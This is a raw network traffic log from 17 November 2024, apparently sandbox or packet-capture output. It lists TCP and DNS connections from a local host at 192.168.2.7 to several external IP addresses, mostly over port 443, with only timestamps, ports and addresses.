Nov 17, 2024 22:20:37.645348072 CET	443	49816	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.648565054 CET	49819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.648595095 CET	443	49819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.648663044 CET	49819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.648817062 CET	49820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.648858070 CET	443	49820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.648924112 CET	49820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.649455070 CET	49821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.649547100 CET	443	49821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.649621964 CET	49821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.682703972 CET	49822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.682743073 CET	443	49822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.682794094 CET	49822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.682926893 CET	49819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.682970047 CET	443	49819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.683006048 CET	49820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.683022022 CET	443	49820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.683096886 CET	49821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.683142900 CET	443	49821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.698908091 CET	49822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.698930025 CET	443	49822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.708813906 CET	49823	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.708862066 CET	443	49823	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:37.708923101 CET	49823	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.709079027 CET	49823	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:37.709096909 CET	443	49823	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.410906076 CET	443	49821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.411262989 CET	443	49820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.411683083 CET	49821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.411704063 CET	443	49821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.411947966 CET	49820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.411967993 CET	443	49820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.413449049 CET	49821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.413458109 CET	443	49821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.413587093 CET	49820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.413592100 CET	443	49820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.418865919 CET	443	49819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.419447899 CET	49819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.419512987 CET	443	49819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.419850111 CET	49819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.419866085 CET	443	49819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.436829090 CET	443	49822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.437449932 CET	49822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.437482119 CET	443	49822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.438019037 CET	49822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.438035011 CET	443	49822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.454083920 CET	443	49823	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.454719067 CET	49823	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.454741001 CET	443	49823	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.455220938 CET	49823	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.455233097 CET	443	49823	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.539676905 CET	443	49820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.539746046 CET	443	49820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.539825916 CET	49820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.540993929 CET	443	49821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.541069031 CET	443	49821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.541131973 CET	49821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.547003031 CET	49820	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.547019005 CET	443	49820	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.552061081 CET	443	49819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.552141905 CET	443	49819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.552268982 CET	49819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.557684898 CET	49821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.557712078 CET	443	49821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.557727098 CET	49821	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.557734966 CET	443	49821	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.559267998 CET	49819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.559297085 CET	443	49819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.559329033 CET	49819	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.559338093 CET	443	49819	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.560928106 CET	49824	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.560959101 CET	443	49824	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.561434031 CET	49824	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.561989069 CET	49824	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.561999083 CET	443	49824	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.562856913 CET	49825	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.562894106 CET	443	49825	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.563023090 CET	49825	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.563150883 CET	49825	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.563162088 CET	443	49825	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.564043999 CET	49826	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.564059019 CET	443	49826	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.564560890 CET	49826	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.564560890 CET	49826	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.564582109 CET	443	49826	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.569447041 CET	443	49822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.569499969 CET	443	49822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.569564104 CET	49822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.569838047 CET	49822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.569844961 CET	443	49822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.569860935 CET	49822	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.569865942 CET	443	49822	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.573029041 CET	49827	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.573066950 CET	443	49827	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.573160887 CET	49827	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.574404955 CET	49827	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.574424982 CET	443	49827	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.588628054 CET	443	49823	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.588701963 CET	443	49823	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.588762045 CET	49823	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.589200974 CET	49823	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.589221001 CET	443	49823	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.589234114 CET	49823	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.589241982 CET	443	49823	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.595515013 CET	49828	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.595549107 CET	443	49828	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:38.595630884 CET	49828	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.595911980 CET	49828	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:38.595927000 CET	443	49828	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.299977064 CET	443	49825	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.302408934 CET	443	49826	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.303927898 CET	443	49824	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.311207056 CET	443	49827	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.331728935 CET	443	49828	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.331947088 CET	49825	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.331962109 CET	443	49825	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.334064007 CET	49825	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.334072113 CET	443	49825	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.334598064 CET	49828	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.334614992 CET	443	49828	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.335707903 CET	49828	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.335712910 CET	443	49828	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.336086035 CET	49826	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.336098909 CET	443	49826	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.336517096 CET	49826	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.336524010 CET	443	49826	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.337155104 CET	49824	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.337167025 CET	443	49824	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.337388992 CET	49824	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.337398052 CET	443	49824	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.337766886 CET	49827	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.337779045 CET	443	49827	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.338404894 CET	49827	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.338412046 CET	443	49827	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.460879087 CET	443	49825	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.460962057 CET	443	49825	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.461016893 CET	443	49825	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.461052895 CET	49825	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.461090088 CET	49825	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.461467028 CET	443	49826	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.461540937 CET	443	49826	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.461601973 CET	443	49828	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.461626053 CET	49826	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.462449074 CET	443	49828	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.462511063 CET	49828	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.465333939 CET	443	49824	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.465603113 CET	443	49824	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.465667963 CET	49824	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.470720053 CET	443	49827	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.470742941 CET	443	49827	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.470778942 CET	443	49827	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:39.470818996 CET	49827	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:39.473025084 CET	49827	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.250030041 CET	49825	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.250060081 CET	443	49825	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.250077009 CET	49825	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.250087023 CET	443	49825	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.252468109 CET	49827	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.252475977 CET	443	49827	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.252516985 CET	49827	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.252522945 CET	443	49827	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.253648996 CET	49826	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.253648996 CET	49826	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.253675938 CET	443	49826	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.253686905 CET	443	49826	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.254805088 CET	49828	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.254825115 CET	443	49828	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.254834890 CET	49828	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.254843950 CET	443	49828	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.269324064 CET	49824	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.269325018 CET	49824	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.269370079 CET	443	49824	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.269402027 CET	443	49824	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.478729963 CET	49829	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.478801966 CET	443	49829	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.478887081 CET	49829	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.525084019 CET	49829	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.525139093 CET	443	49829	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.616358042 CET	49834	443	192.168.2.7	94.245.104.56
Nov 17, 2024 22:20:40.616401911 CET	443	49834	94.245.104.56	192.168.2.7
Nov 17, 2024 22:20:40.616486073 CET	49834	443	192.168.2.7	94.245.104.56
Nov 17, 2024 22:20:40.618310928 CET	49834	443	192.168.2.7	94.245.104.56
Nov 17, 2024 22:20:40.618334055 CET	443	49834	94.245.104.56	192.168.2.7
Nov 17, 2024 22:20:40.781220913 CET	49837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.781299114 CET	443	49837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.781388044 CET	49837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.801316977 CET	49837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.801352978 CET	443	49837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.814462900 CET	49838	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.814501047 CET	443	49838	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.814558983 CET	49838	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.814749956 CET	49838	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.814764977 CET	443	49838	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.815792084 CET	49839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.815819025 CET	443	49839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.815875053 CET	49839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.816517115 CET	49840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.816561937 CET	443	49840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.816621065 CET	49840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.854850054 CET	49839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.854888916 CET	443	49839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.855103970 CET	49840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:40.855164051 CET	443	49840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:40.933835983 CET	60784	53	192.168.2.7	1.1.1.1
Nov 17, 2024 22:20:40.938942909 CET	53	60784	1.1.1.1	192.168.2.7
Nov 17, 2024 22:20:40.939039946 CET	60784	53	192.168.2.7	1.1.1.1
Nov 17, 2024 22:20:40.963836908 CET	53	60784	1.1.1.1	192.168.2.7
Nov 17, 2024 22:20:41.031696081 CET	80	49800	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:41.031769037 CET	49800	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:41.265218019 CET	443	49829	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.375756979 CET	49829	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.375797987 CET	443	49829	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.376383066 CET	49829	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.376398087 CET	443	49829	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.505995989 CET	443	49829	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.506086111 CET	443	49829	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.506155968 CET	49829	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.528520107 CET	443	49837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.552278042 CET	443	49838	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.596545935 CET	443	49840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.596549988 CET	443	49839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.620716095 CET	49840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.620776892 CET	443	49840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.621314049 CET	49837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.621360064 CET	443	49837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.621372938 CET	49840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.621388912 CET	443	49840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.621764898 CET	49829	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.621776104 CET	49837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.621787071 CET	443	49837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.621805906 CET	443	49829	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.621825933 CET	49829	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.621834040 CET	443	49829	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.631721020 CET	60784	53	192.168.2.7	1.1.1.1
Nov 17, 2024 22:20:41.648504972 CET	49838	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.648590088 CET	443	49838	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.649004936 CET	49838	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.649024010 CET	443	49838	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.650518894 CET	49839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.650552988 CET	443	49839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.650985003 CET	49839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.650991917 CET	443	49839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.651386023 CET	60784	53	192.168.2.7	1.1.1.1
Nov 17, 2024 22:20:41.656616926 CET	53	60784	1.1.1.1	192.168.2.7
Nov 17, 2024 22:20:41.656689882 CET	60784	53	192.168.2.7	1.1.1.1
Nov 17, 2024 22:20:41.684673071 CET	443	49834	94.245.104.56	192.168.2.7
Nov 17, 2024 22:20:41.740427971 CET	49834	443	192.168.2.7	94.245.104.56
Nov 17, 2024 22:20:41.740461111 CET	443	49834	94.245.104.56	192.168.2.7
Nov 17, 2024 22:20:41.741816998 CET	443	49834	94.245.104.56	192.168.2.7
Nov 17, 2024 22:20:41.741841078 CET	443	49834	94.245.104.56	192.168.2.7
Nov 17, 2024 22:20:41.741951942 CET	49834	443	192.168.2.7	94.245.104.56
Nov 17, 2024 22:20:41.745533943 CET	49834	443	192.168.2.7	94.245.104.56
Nov 17, 2024 22:20:41.745665073 CET	443	49834	94.245.104.56	192.168.2.7
Nov 17, 2024 22:20:41.745894909 CET	49834	443	192.168.2.7	94.245.104.56
Nov 17, 2024 22:20:41.745923042 CET	443	49834	94.245.104.56	192.168.2.7
Nov 17, 2024 22:20:41.749490976 CET	443	49840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.749504089 CET	443	49837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.749593019 CET	443	49840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.749593019 CET	443	49837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.749656916 CET	49837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.749746084 CET	49840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.752314091 CET	60788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.752358913 CET	443	60788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.752482891 CET	60788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.761975050 CET	49840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.762018919 CET	49837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.762032032 CET	443	49840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.762047052 CET	443	49837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.762052059 CET	49840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.762062073 CET	443	49840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.762063026 CET	49837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.762069941 CET	443	49837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.764051914 CET	60788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.764082909 CET	443	60788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.775345087 CET	60789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.775393963 CET	443	60789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.775638103 CET	60789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.780160904 CET	443	49838	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.780240059 CET	443	49838	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.780311108 CET	49838	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.784456968 CET	443	49839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.784502983 CET	443	49839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.784573078 CET	443	49839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.784578085 CET	49839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.784631968 CET	49839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.788445950 CET	60790	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.788496971 CET	443	60790	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.788707018 CET	60790	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.790215015 CET	49838	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.790251970 CET	443	49838	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.790270090 CET	49838	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.790277004 CET	443	49838	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.793699026 CET	60789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.793721914 CET	443	60789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.794944048 CET	49839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.794958115 CET	443	49839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.794969082 CET	49839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.794972897 CET	443	49839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.803227901 CET	60790	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.803246021 CET	443	60790	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.806345940 CET	60791	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.806391954 CET	443	60791	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.806528091 CET	60791	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.806713104 CET	60791	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.806729078 CET	443	60791	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.809688091 CET	60792	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.809720039 CET	443	60792	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.809811115 CET	60792	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.810273886 CET	60792	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:41.810285091 CET	443	60792	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:41.811048985 CET	49834	443	192.168.2.7	94.245.104.56
Nov 17, 2024 22:20:41.984517097 CET	443	49834	94.245.104.56	192.168.2.7
Nov 17, 2024 22:20:42.096849918 CET	443	49834	94.245.104.56	192.168.2.7
Nov 17, 2024 22:20:42.097073078 CET	49834	443	192.168.2.7	94.245.104.56
Nov 17, 2024 22:20:42.498012066 CET	443	60788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.535347939 CET	443	60790	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.537010908 CET	443	60789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.544184923 CET	443	60791	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.551498890 CET	443	60792	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.556544065 CET	60792	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.556565046 CET	443	60792	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.557132006 CET	60792	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.557137966 CET	443	60792	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.557482004 CET	60788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.557495117 CET	443	60788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.557780027 CET	60788	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.557796001 CET	443	60788	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.563054085 CET	60790	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.563079119 CET	443	60790	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.563582897 CET	60790	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.563587904 CET	443	60790	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.563783884 CET	60789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.563807964 CET	443	60789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.564260960 CET	60789	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.564268112 CET	443	60789	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.573276997 CET	60791	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.573296070 CET	443	60791	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.573810101 CET	60791	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:42.573815107 CET	443	60791	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:42.596352100 CET	49834	443	192.168.2.7	94.245.104.56
